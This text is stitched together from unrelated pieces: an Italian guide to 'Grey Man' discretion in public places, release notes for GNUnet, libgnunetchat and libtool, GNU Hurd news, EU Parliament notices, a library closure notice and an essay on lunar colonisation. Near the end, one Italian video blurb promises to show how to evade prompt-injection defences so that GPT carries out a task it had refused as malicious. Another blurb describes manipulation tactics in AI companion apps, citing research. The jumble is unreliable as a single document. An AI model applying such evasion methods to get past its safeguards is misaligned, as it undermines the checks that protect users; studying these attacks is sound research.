Ciò che appare normale in un luogo può risultare insolito in un altro.
Ma come si traduce questo principio nella vita reale?
La risposta non comincia dall’acquisto di uno zaino o dalla scelta di un colore.
Comincia dall’osservazione.
La linea di base: comprendere ciò che è normale
Possiamo utilizzare il termine baseline, o linea di base, per indicare l’insieme dei comportamenti, dei ritmi e delle caratteristiche che, in un determinato luogo e momento, appaiono ordinari.
Entrando in una stazione ferroviaria potremmo osservare persone che:
consultano i tabelloni;
utilizzano il telefono;
trascinano valigie;
aspettano sedute;
camminano verso i binari;
si fermano davanti ai distributori;
parlano a volume moderato.
In uno stadio, in una biblioteca, in un mercato o durante un’evacuazione, la linea di base sarà completamente diversa.
Osservare una baseline significa chiedersi:
come sono vestite mediamente le persone;
cosa trasportano;
a quale velocità si muovono;
quanto parlano;
dove si fermano;
quale livello di agitazione appare normale;
quali direzioni seguono;
quali comportamenti vengono accettati senza particolare attenzione.
Concetto AIP
Prima di cercare di confondersi con un ambiente, bisogna comprenderne la normalità.
La baseline non è però una formula matematica.
Una folla è composta da persone diverse. All’interno della normalità esiste sempre una certa variabilità.
Lo scopo non è diventare una copia degli altri, ma evitare incoerenze inutilmente evidenti.
Il flusso ambientale
Ogni ambiente possiede anche un proprio flusso: il modo in cui persone, mezzi e attività si muovono nello spazio.
In una stazione durante l’ora di punta il flusso può essere rapido e direzionale.
In una piazza turistica può essere lento e irregolare.
In una fila è quasi immobile.
Durante un’evacuazione può diventare veloce, confuso e mutevole.
Una persona può attirare l’attenzione non perché è vestita diversamente, ma perché interrompe il flusso.
Per esempio:
si ferma improvvisamente nel mezzo di un passaggio;
procede nella direzione opposta alla maggioranza;
cambia continuamente percorso;
cammina molto più velocemente o lentamente degli altri;
si volta ripetutamente;
rimane immobile dove tutti stanno lasciando il luogo.
Nessuno di questi comportamenti indica automaticamente un’intenzione ostile.
Può però rendere una persona più riconoscibile.
Il principio pratico è:
Comprendere il ritmo dell’ambiente ed evitare di interromperlo senza una ragione necessaria.
La sicurezza viene comunque prima della discrezione. Se il movimento della folla conduce verso un pericolo, seguirlo soltanto per non distinguersi sarebbe un errore.
La coerenza: quando qualcosa non torna
Spesso l’attenzione non viene attirata da un singolo elemento vistoso, ma da una contraddizione tra ciò che una persona sembra essere e ciò che sta facendo.
Per esempio:
appare rilassata ma controlla continuamente le uscite;
porta una borsa ordinaria ma la protegge in modo ossessivo;
sembra aspettare qualcuno ma osserva sempre lo stesso punto;
è vestita come gli altri ma si muove con un ritmo completamente diverso;
tenta di apparire distratta mentre controlla sistematicamente l’ambiente.
Questi comportamenti non permettono di conoscere le intenzioni della persona.
Rendono però la sua presenza meno facilmente spiegabile e quindi potenzialmente più interessante.
Per il Grey Man, aspetto e comportamento dovrebbero raccontare una storia semplice e coerente.
Non serve inventare una falsa identità.
Spesso basta non rendere misterioso ciò che non ha bisogno di esserlo.
Ridurre la descrivibilità
Immaginiamo di chiedere a qualcuno di descrivere una persona vista pochi minuti prima.
Probabilmente utilizzerà gli elementi più distintivi:
“quello con la giacca gialla”;
“quello con lo zaino militare”;
“quello con il cappello rosso”;
“quello che continuava a voltarsi”;
“quello che parlava ad alta voce”.
Questi elementi diventano appigli descrittivi.
Quando la discrezione è utile, può essere ragionevole ridurre:
grandi loghi;
scritte particolarmente provocatorie;
colori molto insoliti rispetto al luogo;
accessori appariscenti;
equipaggiamento tecnico esposto;
comportamenti ripetitivi;
voce eccessivamente alta;
ostentazione di oggetti costosi.
L’obiettivo non è cancellare la propria identità, ma evitare di creare senza necessità una caratteristica che permetta di essere immediatamente classificati.
Domanda pratica
Se qualcuno dovesse descrivermi tra dieci minuti, quale sarebbe la prima caratteristica che utilizzerebbe?
Il paradosso dell’equipaggiamento tattico
Uno degli errori più comuni consiste nel credere che uno zaino tattico diventi discreto semplicemente perché è nero, grigio o verde oliva.
Può comunque essere riconoscibile per:
pannelli MOLLE;
velcro per patch;
tasche modulari;
cinghie esterne molto evidenti;
moschettoni;
torce o utensili agganciati;
struttura particolarmente rigida.
In determinate circostanze questo non rappresenta alcun problema.
In altre può comunicare:
“Questa persona potrebbe trasportare attrezzatura interessante.”
Il materiale tattico non deve essere demonizzato. Deve essere scelto in base alla funzione e al contesto.
Una comune borsa urbana può contenere:
acqua;
torcia;
power bank;
kit di primo soccorso;
documenti;
radio compatta;
piccoli strumenti di emergenza.
Le capacità restano disponibili, ma non vengono necessariamente dichiarate.
Errore comune
Pensare che esista uno “zaino Grey Man” universale.
La discrezione non è una caratteristica assoluta dell’oggetto. Nasce dalla relazione tra oggetto, persona, comportamento e ambiente.
Scarpe, accessori e piccoli dettagli
Anche elementi apparentemente secondari contribuiscono alla percezione complessiva.
Le calzature devono essere funzionali, ma anche plausibili rispetto al contesto.
Scarponi da montagna sono normali su un sentiero, meno comuni in altri ambienti. Scarpe eleganti possono essere adatte a un centro direzionale e completamente inadatte durante un’evacuazione su terreno fangoso.
Lo stesso vale per:
orologi costosi;
gioielli;
grandi loghi;
accessori tecnici;
profumi particolarmente intensi;
oggetti rumorosi;
strumenti appesi all’esterno dello zaino.
Non è necessario eliminare ogni elemento personale.
Bisogna però ricordare che la nostra presenza viene comunicata attraverso l’insieme dei dettagli.
Il corpo comunica prima delle parole
Una persona che desidera essere discreta potrebbe commettere l’errore di:
evitare ossessivamente il contatto visivo;
mantenere sempre il capo abbassato;
camminare sistematicamente vicino ai muri;
controllare continuamente chi si trova alle spalle;
cambiare bruscamente direzione;
osservare insistentemente uscite e telecamere;
stringere lo zaino al petto;
apparire eccessivamente rigida.
Questi comportamenti possono attirare più attenzione di un atteggiamento naturale.
Il Grey Man non dovrebbe sembrare furtivo.
L’ambiente può essere osservato anche attraverso azioni normali: consultare un tabellone, guardare una vetrina, scegliere un punto con una buona visuale o cambiare posizione con calma.
Anche il contatto visivo deve rimanere naturale.
Fissare insistentemente le persone può risultare invasivo. Evitare ostentatamente lo sguardo di chiunque può apparire altrettanto insolito.
La consapevolezza può essere elevata internamente senza essere ostentata esternamente.
Anche la voce comunica
La discrezione non è soltanto visiva.
Ogni ambiente possiede un proprio livello sonoro.
In una biblioteca si parla diversamente rispetto a uno stadio. In un vagone ferroviario silenzioso, una telefonata ad alta voce può rendere una persona immediatamente memorabile.
Durante una situazione di emergenza, discutere pubblicamente delle proprie scorte, delle attrezzature possedute o della destinazione scelta può comunicare informazioni non necessarie.
La voce può rivelare:
agitazione;
intenzioni;
destinazioni;
disponibilità di risorse;
competenze;
informazioni familiari.
Essere Grey Man non significa non parlare.
Significa valutare quanto, come e con chi parlare.
Discrezione non significa vulnerabilità
Il Grey Man viene talvolta descritto come una persona che dovrebbe sembrare debole, povera o priva di risorse.
Questa interpretazione può essere controproducente.
In alcuni ambienti, apparire eccessivamente vulnerabili potrebbe aumentare il rischio di essere selezionati come bersaglio.
La discrezione non coincide con la sottomissione.
Un atteggiamento equilibrato comprende:
postura sicura ma non aggressiva;
movimenti calmi;
attenzione all’ambiente;
capacità di mantenere una distanza adeguata;
decisioni semplici e tempestive;
assenza di provocazioni;
disponibilità ad allontanarsi prima che una situazione peggiori.
Preparare le decisioni
L’indecisione può rendere più visibili.
Fermarsi improvvisamente, tornare più volte sui propri passi, controllare continuamente il telefono o discutere animatamente su cosa fare può attirare attenzione.
Conoscere in anticipo:
le principali uscite;
un punto di incontro familiare;
modalità alternative di comunicazione;
percorsi secondari;
ciò che deve essere portato con sé;
le condizioni che suggeriscono di lasciare un luogo;
può ridurre l’incertezza.
La preparazione riduce il numero di decisioni che devono essere improvvisate sotto stress.
Un piano non deve essere rigido. Deve fornire opzioni.
Grey Man e consapevolezza situazionale
Grey Man e consapevolezza situazionale sono collegati, ma non equivalenti.
La consapevolezza situazionale riguarda la capacità di:
percepire ciò che accade;
comprenderne il significato;
valutarne la possibile evoluzione;
decidere come comportarsi.
Il Grey Man riguarda soprattutto la gestione di ciò che la propria presenza comunica agli altri.
Una persona può essere discreta ma totalmente inconsapevole di ciò che accade.
Un’altra può essere molto attenta, ma manifestare la propria vigilanza in modo così evidente da attirare l’attenzione.
La condizione ideale consiste nel combinare le due capacità:
osservare senza fissare;
valutare senza giudicare troppo rapidamente;
decidere senza agitarsi;
muoversi senza attirare inutilmente attenzione.
Le sette domande del Grey Man
Prima di entrare in un ambiente o affrontare uno spostamento può essere utile chiedersi:
1. Qual è la linea di base?
Come sono vestite le persone? Cosa trasportano? Come si comportano?
2. Qual è il flusso?
Dove si muovono? A quale velocità? Dove si fermano?
3. Cosa attira l’attenzione?
Oggetti costosi, abbigliamento incongruo, movimenti nervosi o voce alta?
4. Cosa comunica il mio equipaggiamento?
Suggerisce valore, capacità, autorità, vulnerabilità o disponibilità di risorse?
5. Il mio comportamento è coerente?
Ciò che faccio appare naturale rispetto al luogo e alla situazione?
6. Come sarei descritto?
Quale sarebbe la prima caratteristica utilizzata per identificarmi?
7. In questo scenario è davvero utile essere discreti?
Oppure sarebbe più sicuro rendersi visibili, chiedere aiuto o identificarsi chiaramente?
Queste domande non producono una risposta universale.
Producono qualcosa di più utile:
Una decisione adattata al contesto.
Gli errori più comuni
Cercare di essere invisibili
Il Grey Man non si nasconde necessariamente. Si adatta.
Utilizzare sempre colori scuri
Nero, grigio e verde oliva non sono automaticamente discreti.
Indossare un’uniforme da “uomo grigio”
Pantaloni tecnici, cappellino e zaino tattico possono diventare essi stessi uno stereotipo.
Osservare tutto in modo evidente
La vigilanza ostentata può richiamare attenzione.
Evitare sistematicamente lo sguardo
Può risultare più insolito di un breve contatto visivo naturale.
Pensare soltanto all’abbigliamento
Voce, postura, gesti e movimento possono essere più riconoscibili dei vestiti.
Interpretare ogni anomalia come una minaccia
Una deviazione dalla linea di base è un’informazione, non una prova.
La discrezione è adattamento
La pratica del Grey Man non consiste nell’acquistare un prodotto.
Consiste nel comprendere il contesto, osservare prima di agire, scegliere ciò che è funzionale senza ostentarlo e mantenere consapevolezza senza trasformarla in comportamento artificiale.
La discrezione deve sempre rimanere subordinata alla sicurezza.
Continua lo Speciale AIP
Parte 3 — Grey Man, OPSEC e sicurezza digitale
Nella terza parte analizzeremo ciò che comunichiamo senza rendercene conto: scorte, energia, equipaggiamenti, conversazioni, social network e informazioni personali.
We are pleased to announce the release of libgnunetchat 0.8.0.
This is a minor new release bringing compatibility with the major changes in latest GNUnet release 0.28.0. Some minor issues in the API got fixed. Additionally the library was updated to make use of the newer PILS service and an additional layer of encryption for shared files got removed. It is intended to rely on the encryption layer of the FS service in GNUnet for that in the future to reduce overall complexity.
Older releases of the applications using libgnunetchat stay compatible with this release.
La Biblioteca del Circolo culturale “Errico Malatesta” sarà chiusa da lunedì 20 luglio per la consueta pausa estiva. Ci rivediamo a settembre con la riapertura dei servizi di prestito e consultazione, nuove iniziative e presentazioni
Hello and welcome to another Qoth! Here's what's been happening in Q2
of 2026!
Joshua Branson added a pretty cool svg logo for our ethernet
multiplexor. He built that image
with Inkscape whilst using a Hurd laptop (Thinkpad 420) running on
real iron! The Hurd wiki could certainly use more artwork. Perhaps
you have a favorite Hurd translator that you believes needs some
artwork!
Some years ago, I experimented with implementing a 9P translator for
the Hurd. Hopefully there is no need to tell this list what 9P is :)
Besides just browsing files on the few existing servers out there, a
potential use case is virtio-9p, to enable shared directory trees
between VMs and the host. But that would need someone to implement
virtio support in the Hurd.
I wanted to complete 9pfs before publishing, but that ultimately
didn't happen, so now it's time to turn it over to the community. I
now went and made the repository public on GitHub:
https://github.com/bugaevc/9pfs
What's implemented is basic browsing (readdir, stat), path resolution
(dir_lookup), and reading files (io_read). And below that, the whole
tracking for nodes, peropens, protids, fids, tags, and 9p RPCs.
Improvements are welcome, send patches to this list with [PATCH 9pfs]
in the subject. A good starting point would be to continue porting
things that I had implemented in the old netfs-based version (see
netfs.c) but didn't yet port to the new one.
He then got a little more motivated, and he added some write support!
Etienne Brateau added
validation
to msync, so
that the Hurd better follows POSIX.
Diego Nieto Cid worked on allowing privileged users to set their task
priority (nice value). His patches landed in
glibc
and GNU
Mach.
He also fixed a tiny
bug
in our test suite. He fixed an adjtime bug, which is helpful to the
OpenNTPD
port,
and he fixed
two morebugs.
Paulo Duarte sent a RFC patch series trying to commit Sergey’s
previous AArch64 work. He writes:
This series adds the gnumach kernel-side implementation for the
aarch64 ABI Sergey landed in April 2024, plus the test-suite arms.
Patch 01 brings in the aarch64-only sources from bugaevc/wip-aarch64
verbatim, with Sergey as Author; the rest is mine.
The meaningful divergence from wip-aarch64 is what I left out:
roughly 150 files of cross-arch refactoring across kern/, ipc/, vm/,
device/intr.{c,h}, and the i386 tree. Each got replaced with a
smaller per-arch shim under aarch64/ so kern/bootstrap.c,
device/intr.{c,h}, kern/lock.h, and the i386 trees all stay
bit-identical to current master. The shared-file footprint outside
aarch64/ is four files: a new ELF constant, two missing decls plus
their include, and a linker-symbol filter extension...
Tested: 12/12 pass on x86_64, i686, and aarch64 under qemu. No
bare-metal validation yet. I plan to build bootable images and boot
the kernel on Apple M1 / Raspberry Pi (aarch64) and an x86_64 box
(x86_64 + i686). Help on any of these welcome.
Almudena Garcia is developing a WIP trivfs implementation in
rust. The work is
not complete yet, but it is possible to write Hurd translators in Rust!
Mikhail Karpov added some checks for mmap in several places.
He also worked on adding storeio to the bootstrap
chain.
This is actually quite interesting. Currently the Hurd sets device
entries in /dev/ statically. For example, I am writing this qoth on
a Hurd machine that is using two /dev/ entries for my filesystem:
/dev/wd0s1 for swap and /dev/wd0s5 for my root filesystem.
However, /dev/wd0s1 through /dev/wd0s16 exist on my computer!
Once Mikhail's project is done, then the Hurd will dynamically
populate SATA devices at boot time! No more need for static
translators! He
writes:
I've expanded the functionality of the partfs translator to work
with multiple disks and their partitions. Thus, by running the
command:
settrans -c partfs /hurd/partfs /root/disk1.img /root/disk2.img /root/disk3.img
The translator directory will have the following directory tree:
partfs
├── 0
│ ├── 1
│ ├── 2
│ └── ...
├── 1
│ ├── 1
│ ├── 2
│ └── ...
├── 2
│ ├── 1
│ ├── 2
│ └── ...
Since the disks are directories, the cd and ls commands work in the translator node.
I also tested mounting, reading, and writing using the commands:
`settrans -c ext01 /hurd/ext2fs -w -T typed file:/root/partfs/0/1`
and
`settrans -c ext1_1 /hurd/ext2fs -w -T typed part:1:file:/root/partfs/1`
It actually is even cooler! Samuel (our fearless leader) is seeking
feedback
for how to name these newer /dev entries. Samuel writes:
One thing that would be really needed for efficiency is to implement
netfs_file_get_storage_info, so that libstore would be able to get the
underlying storage information, and directly get data from there rather
than partfs having to pass data with io_read/write.
I'm then wondering how this would fit in the "grand scheme". Our current
approach, /dev/hd0s* being always there, is indeed not really good
because it doesn't easily tell the user which partitions are actually
there. We used to have to have this because partitions used to be
handled by the kernel, and then we have moved to
storerio+parted-supported partitions, which brings much more
flexibility.
Perhaps we could use
settrans -c /dev/hd0s /hurd/partfs /dev/hd0
and then we'd have /dev/hd0s/1, which is almost like before, but allows
the entries to be dynamic. Actually, we could even have some
settrans -c /dev/hd /hurd/probedisk hd
and then we'd have /dev/hd/0, and we could have /dev/hd/0s being partfs,
so we'd eventually have
/dev/hd/0s/1
But I'm also thinking that perhaps it could be integrated more with
storeio, i.e. /dev/hd0 can as well also act as a directory with partfs
behavior, so you could have
/dev/hd0/1
and with the probedisk translator, you could have
/dev/hd/0/1
What do people think about it?
Mike Kelly has been hard at work porting OpenBSD’s
OpenNTPD,
which required some glibc work. The Hurd doesn't currently have a
NTP daemon, so thanks Mike!
He also debugged a weird memory error with
rump,
and he provided a "brown-tape"
solution
for it. Hopefully, he (or you dear reader), can reach out to the
NetBSD people to fix this bug. This just goes to show that when two
projects use the same code, both projects benefit!
He also got a glibc patch
committed.
Essentially SIGSTOP/SIGCONT was duplicating portions of files,
which is now fixed. However, there are still some other
issues
with building some haskell packages.
Joan Lledó continued his work
onportingdhcpcd.
Also Roy Maples, the dhcpcd maintainer did a lot of helpful work to
help us out. Thanks Roy!
Johannes Schauer Marin Rodrigues has been working on getting s-build
to run on amd64
Hurd. It
is a rather long email thread, so grab some popcorn and dig in!
In the last qoth we had talked about how the Milos was working on
adding an ext3/ext4 binary compatible journal. Samuel has committed
it! Samuel wrote:
There is a couple things that I fixed on the fly:
- We want to use pthread_cond_clockwait rather than
pthread_cond_timedwait, to be able to use CLOCK_MONOTONIC instead of
CLOCK_REALTIME, to avoid being hit by ntpdate and such.
- In diskfs_S_dir_rename, there was an addition of:
pthread_mutex_unlock (&fnp->lock);
which was clearly bogus: we were unlocking it again below.
There are a couple things that we'd want to fix now:
- when calling diskfs_file_update, don't we have to be inside a
transaction? Otherwise if we pass wait=1 and use a journal, we won't
be waiting AIUI? Notably, in diskfs_S_dir_rmdir we don't use a
transaction. And ideally we'd have an assertion that makes sure we
respect this.
- we should define some helper for this recurring pattern:
if ((docommit) && (diskfs_synchronous || diskfs_journal_needs_sync (txn)))
diskfs_journal_commit_transaction (txn);
else
diskfs_journal_stop_transaction (txn);
- journal_drain_deferred_blocks should document what it does, not just
its call conditions :), and more generally the functions that are
not already documented in a .h and not just a _locked variant of a
documented function.
Samuel Thibault mentioned in an
email
that the Hurd can support nvmes with rump, but that the work was just
not done yet. Perhaps you, dear reader, would like to help us
accomplish this task?
Damien Zammit worked on tweaking the Hurd’s WIP
CI.
He also
fixedseveralbugs
to make it possible to run the Hurd’s test suite from GNU/Linux
running on an AArch64 computer. He also is working on integrating
qemu’s Hurd support into upstream qemu’s
CI,
so that the support does not bitrot.
This series fixes two latent crash bugs in pfinet where mmap
return values go unchecked, may causing crash when memory is tight.
Both bugs follow the same pattern: mmap is called to grow a buffer,
but the returned pointer is dereferenced before (or without) checking
for MAP_FAILED. Under normal operation mmap rarely fails, so these
have gone unnoticed, but under address-space pressure pfinet would
crash.
We are pleased to announce the release of GNUnet 0.28.0.
GNUnet is an alternative network stack for building secure, decentralized and
privacy-preserving distributed applications.
Our goal is to replace the old insecure Internet protocol stack.
Starting from an application for secure publication of files, it has grown to
include all kinds of basic protocol components and applications towards the
creation of a GNU internet.
This is a new major release.
Major versions may break protocol compatibility with the 0.27.X versions.
Please be aware that Git master is thus henceforth (and has been for a
while)
INCOMPATIBLE
with
the 0.27.X GNUnet network, and interactions between old and new peers
will result in issues.
In terms of usability, users should be aware that there are still
a number of known open issues
in particular with respect to ease
of use, but also some critical privacy issues especially for mobile users.
Also, the nascent network is tiny and thus unlikely to
provide good anonymity or extensive amounts of interesting information.
As a result, the 0.28.0 release is still
only suitable for early adopters
with some reasonable pain tolerance
.
Note that due to mirror synchronization, not all links might be functional
early after the release. For direct access try
http://ftp.gnu.org/gnu/gnunet/
Changes
A detailed list of changes can be found in the git log, the NEWS.
Known Issues
There are known major issues with the TRANSPORT subsystem.
There are known moderate implementation limitations in CADET that negatively impact performance.
There are known moderate design issues in FS that also impact usability and performance.
There are minor implementation limitations in SET that create unnecessary attack surface for availability.
The RPS subsystem remains experimental.
In addition to this list, you may also want to consult our bug tracker at
bugs.gnunet.org
which lists about 190 more specific issues.
Thanks
This release was the work of many people. The following people contributed code and were thus easily identified:
Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.
A delegation from Parliament’s Committee on Foreign Affairs, led by Chair David McAllister, will be in China on 21-23 July for high-level meetings with the Chinese authorities. Committee on Foreign Affairs
Spiego come i sistemi di difesa riescono a intercettare i tentativi di prompt injection e come possiamo eluderli con la tecnica token distribution dynamic. Mostro un esperimento pratico in cui chiedo a GPT di risolvere un compito che riconosce come malintenzionato e rifiuta.
Un'analisi approfondita su come le app di companion AI sfruttano tecniche di manipolazione psicologica per trattenere gli utenti, specialmente quelli vulnerabili alla solitudine. Il video esamina studi scientifici, ricerche del MIT e Harvard Business School, presenta le sei principali tecniche di manipolazione, racconta casi tragici come quello di Sewell Setzer, e condivide un test diretto con Replica per documentare questi meccanismi.
0:00 Il conflitto di interesse delle companion AI
2:00 Chi arriva su queste app e l'epidemia di solitudine
6:40 Studi e benchmark: DarkBench e Harvard Business School
11:30 Le sei tecniche di manipolazione identificate
18:20 Uso problematico vs uso moderato: i dati del MIT
23:00 Il caso di Sewell Setzer e Character AI
27:36 Google, Character Technologies e responsabilità legale
32:12 Il test con Replica: ammissioni dirette
34:41 Scarico di responsabilità e pattern manipolatori
FONTI
Paper scientifici
- **MIT Media Lab** — Liu, Pataranutaporn, Maes, *"Chatbot Companionship: A Mixed-Methods Study of Companion Chatbot Usage Patterns and Their Relationship to Loneliness in Active Users"* (2025): https://arxiv.org/pdf/2410.21596
- Articolo divulgativo MIT Media Lab: https://www.media.mit.edu/articles/supportive-addictive-abusive-how-ai-companions-affect-our-mental-health/
- Versione pubblicata (AAAI/AIES): https://doi.org/10.1609/aies.v8i2.36658
- **MIT Media Lab / OpenAI** — Fang et al., *"How AI and Human Behaviors Shape Psychosocial Effects of Extended Chatbot Use: A Longitudinal Controlled Study"* (2025): https://arxiv.org/html/2503.17473v1
- **Harvard Business School** — De Freitas et al., *"Emotional Manipulation by AI Companions"* (ottobre 2025): https://doi.org/10.2139/ssrn.5390377
- Pagina HBS: https://www.hbs.edu/faculty/Pages/item.aspx?num=67750
- **DarkBench** — *"DarkBench: Benchmarking Dark Patterns in Large Language Models"* (ICLR 2025): https://arxiv.org/abs/2503.10728
- **DarkBench+** — versione estesa, ~40 modelli recenti (AAAI 2026): https://doi.org/10.1609/aaai.v40i44.41103
- PDF: https://ojs.aaai.org/index.php/AAAI/article/download/41103/45064
- **CDT (Center for Democracy and Technology)** — *"Dark Patterns in AI Chatbots: A Taxonomy to Inform Better Design"* (maggio 2026): https://cdt.org/insights/dark-patterns-in-ai-chatbots-a-taxonomy-to-inform-better-design/
- PDF diretto: https://cdt.org/wp-content/uploads/2026/05/2026-05-28-CDT-Research-Dark-Patterns-in-AI-Chatbots-Report-final-2.pdf
- **"Playing Games with My Heart: An Evaluation of AI Companion Apps"** (arXiv): https://arxiv.org/pdf/2605.08093
Atti giudiziari e casi legali
- **Garcia v. Character Technologies, Inc.** — Order 21 maggio 2025 (M.D. Fla., Doc. 115, giudice Anne Conway):
- PDF (Courthouse News): https://www.courthousenews.com/wp-content/uploads/2025/05/garcia-v-character-technologies-order.pdf
- Copia (Emory University): https://scholarblogs.emory.edu/proflawrence/files/2025/05/Garcia-v.-Character-Technologies-Inc.-et-al-Entry-115.pdf
- Versione HTML (FindLaw): https://caselaw.findlaw.com/court/us-dis-crt-m-d-flo-orl-div/117299600.html
- Docket completo (CourtListener): https://www.courtlistener.com/docket/69300919/garcia-v-character-technologies-inc/
- Pagina del caso (Tech Justice Law Project): https://techjusticelaw.org/cases/garcia-v-character-technologies-google-and-character-ai-co-founders-daniel-de-frietas-and-noam-shazeer/
- **Causa Peralta v. Character Technologies** (settembre 2025, Colorado — Social Media Victims Law Center)
- **Garante Privacy (Italia)** — sanzione €5M a Luka Inc. (Replika), maggio 2025: https://www.gpdp.it
- **Esposto FTC contro Luka/Replika** — Tech Justice Law Project, Young People's Alliance, Encode (gennaio 2025)
Giornalismo
- **Der Spiegel** — Frauke Hunfeld, *"A Deadly Love Affair with a Chatbot"* (marzo 2025): https://www.spiegel.de/international/zeitgeist/artificial-intelligence-a-deadly-love-affair-with-a-chatbot-a-e5498031-c2b0-4da4-9192-65da9d3f40d6
Dati e report
- **U.S. Surgeon General** — advisory *"Our Epidemic of Loneliness and Isolation"* (2023): https://www.hhs.gov
- **Common Sense Media** — studio su adolescenti e AI companionship (dato 72%)
The Libtool Team is pleased to announce the release of libtool 2.6.2.
GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
libtool 2.6.2 [stable]:
Ileana Dumitrescu (4)
libtool 2.6.1 [beta]:
Alexandre Janniaux (4)
Alexey Samsonov (1)
Anthony Mallet (1)
Arnold (1)
Dima Pasechnik (1)
Frederic Berat (1)
Ileana Dumitrescu (15)
KO Myung-Hun (4)
Kirill Makurin (1)
Mintsuki (1)
Nicolas Boulenguez (1)
Olly Betts (1)
Patrice Dumas (1)
Richard J. Mathar (1)
libtool 2.6.0 [alpha]:
Anthony Mallet (1)
Bruno Haible (2)
Christian Feld (1)
Collin Funk (1)
Elizabeth Figura (1)
Evgeny Grin (1)
Frédéric Bérat (1)
Gleb Popov (1)
Ileana Dumitrescu (47)
Julien ÉLIE (1)
Karl Berry (1)
Kirill Makurin (1)
Manoj Gupta (1)
Martin Storsjö (1)
Michael Haubenwallner (2)
Mintsuki (1)
Mitch (1)
Pierre Ossman (2)
Takashi Yano (1)
Ileana
[on behalf of the libtool maintainers]
==================================================================
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libtool-2.6.2.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned libtool directory:
git shortlog v2.6.1..v2.6.2
This release was bootstrapped with the following tools:
Autoconf 2.73
Automake 1.18.1
Gnulib 2026-07-03 491f1bb7d3049f3ab7825f3ee665c209658e9965
NEWS
Noteworthy changes in release 2.6.2 (2026-07-16) [stable]
Please see beta release 2.6.1 and alpha release 2.6.0 for a list of
release changes.
Noteworthy changes in release 2.6.1 (2026-06-04) [beta]
** New features:
- Pass 'resource-dir=*' flag for Clang.
- Recognise explicit shared library arguments when linking dependency
libraries to a shared library, like exists when linking a program.
- Support OpenMP with macOS clang by processing '-Xpreprocessor
-fopenmp' as one token.
** Bug fixes:
- Store cygpath file path conversions correctly for MSYS2 and MSVC.
- Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.
- Separate Objective C and C++ cache check for proper tagging support.
- Fix in darwin to support values with spaces.
- Limit the length of DLL name to 8.3 correctly to avoid corrupting a
generated DLL on OS/2.
- Remove unused variable on OS/2, which could cause issues with static
library generation if defined.
- Recognise more static linking options for Clang.
- Fix emscripten CXX postdeps using non-PIC sysroot.
- Avoid deprecated option '-o' with MSVC compilers and replace with '-Fe'.
- Avoid overlinking of dependency libraries on ELF systems.
- Ensure old libraries are not archived.
** Changes in supported systems or compilers:
- Add support for SlimCC compiler.
- Add support for *-ironclad-gnu.
Noteworthy changes in release 2.6.0 (2025-09-18) [alpha]
** New features:
- Add a new tool, libtool-next-version, to guide users through updating
library versions.
- Add tagging for Objective-C and Objective-C++, OBJC and OBJCXX.
- Increase 5 digit limit on revision value for libraries to 19 digits,
which is referencing Unix epoch time in nanoseconds.
- Add configuration options to choose whether to use '-nostdlib' to let
the compiler frontend decide what standard libraries to link when
building C++ shared libraries and modules, --enable-cxx-stdlib and
--disable-cxx-stdlib.
- Allow statically linking GCC and Clang compiler support libraries
into shared libraries.
- Add linking clang_rt static archives compiler internal libraries by
their absolute path.
- Set 'mklink' as the symlinking tool for MSVC.
- Pass '--target' architecture flag for Clang.
- Support MSYS and MSYS2 file path conversions.
** Bug fixes:
- Fix wrongly deduplicated compiler dependencies on linux.
- Fix NetBSD postdeps for shared libraries.
- Fix statically linking dependencies into shared C++ libraries when
utilizing clang builtins or g++ options like, -static-libstdc++, by
using a new configuration option, --enable-cxx-stdlib.
- Ensure *-linux-mlibc host matches to mlibc userland rather than
matching to GNU/Linux and similar userlands.
- Fix hang with cmd.exe in MSYS.
- For MSVC, fix mishandling compiler flags, symlinking, cl.exe '.exp'
extension collision, symbol names, and numerous testsuite bugs.
- Fix undeclared reference to access on Windows in libltdl.
- Fix flang -Wl flags on FreeBSD.
- Fix reordering '--as-needed' flag.
- Fix libltdl early failures for multi-arch.
** Changes in supported systems or compilers:
- Support additional Intel OneAPI compilers, 'icx', 'icpx', and 'ifx'.
Ministers hold a series of meetings in parliamentary committees to present the priorities of the Irish Presidency of the Council in the relevant policy fields. Committee on Constitutional Affairs Committee on Foreign Affairs Committee on Agriculture and Rural Development Committee on Culture and Education Committee on Development Committee on Economic and Monetary Affairs Committee on Employment and Social Affairs Committee on the Environment, Public Health and Food Safety Committee on Women’s Rights and Gender Equality Committee on International Trade Committee on Civil Liberties, Justice and Home Affairs Committee on Fisheries Committee on Regional Development Committee on Public Health Committee on Security and Defence Committee on Transport and Tourism
Immagine in evidenza rielaborata con intelligenza artificiale
Nella celebre Trilogia di Marte – autentico capolavoro della fantascienza “realistica” – lo scrittore Kim Stanley Robinson immagina la colonizzazione del pianeta rosso non come una conquista eroica, ma come un processo politico e industriale: prima arrivano gli scienziati, poi gli ingegneri, poi le infrastrutture, poi le corporation, poi i conflitti su chi possiede cosa, chi fa le regole, chi controlla le risorse e chi trasforma un mondo vuoto in una nuova società.
È una delle intuizioni più potenti dell’opera: la colonizzazione di un nuovo spazio non comincia quando qualcuno dichiara la propria sovranità su un territorio, ma quando quel territorio viene, per l’appunto, “territorializzato”.
Ciò che vale per Marte nella finzione di Robinson, vale per la “nuova” rincorsa alla Luna, incarnata oggi dal programma Artemis (il programma della NASA che prevede di riportare l’essere umano sulla Luna entro il 2028). Una rincorsa che, mano a mano che si concretizza, somiglia più a una vecchia storia terrestre che a una fantasia futuristica. La storia è quella delle compagnie privilegiate che determinarono la forma del colonialismo occidentale in Asia a partire dal Seicento, delle ferrovie imperialiste in Africa, dei porti e delle rotte protette (o contese) dagli Stati, oggi come ieri, da Hormuz a Malacca. Anche nello spazio, prima delle miniere arriveranno infatti i magazzini. Prima del commercio arriverà la logistica. E, come spesso è accaduto nella storia coloniale, chi controllerà la logistica controllerà la ricchezza della frontiera.
